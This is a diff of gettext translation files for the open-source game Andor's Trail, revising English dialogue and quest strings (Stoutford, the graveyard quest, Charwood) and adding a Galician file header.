#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29033,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29045,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29237,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31157,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31213,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31225,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36225,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36257,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36265,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36281,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36841,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36861,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36872,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36880,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36897,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36993,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37719,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37727,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38134,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38151,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,29 @@
# Galician translation for andors-trail
# Copyright (c) 2014 Rosetta Contributors and Canonical Ltd 2014
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2014.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2014-11-21 10:54+0000\n"
"Last-Translator: Fran Fondo <franfondo@gmail.com>\n"
"Language-Team: Galician <gl@li.org>\n"
"Language: gl\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Launchpad-Export-Date: 2015-11-02 12:25+0000\n"
"X-Generator: Launchpad (build 17838)\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" Fran Fondo https://launchpad.net/~franfondo"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2882,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4658,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5596,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6775,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9415,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9572,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9610,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21518,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21802,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21820,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22309,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22334,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22350,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22360,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22390,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22399,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22432,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22444,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22500,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22508,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22520,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22657,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22666,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22691,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22727,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22942,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23044,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23079,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24312,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24494,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26201,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26209,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26270,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26304,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26355,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26415,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26826,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27002,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27153,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27179,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
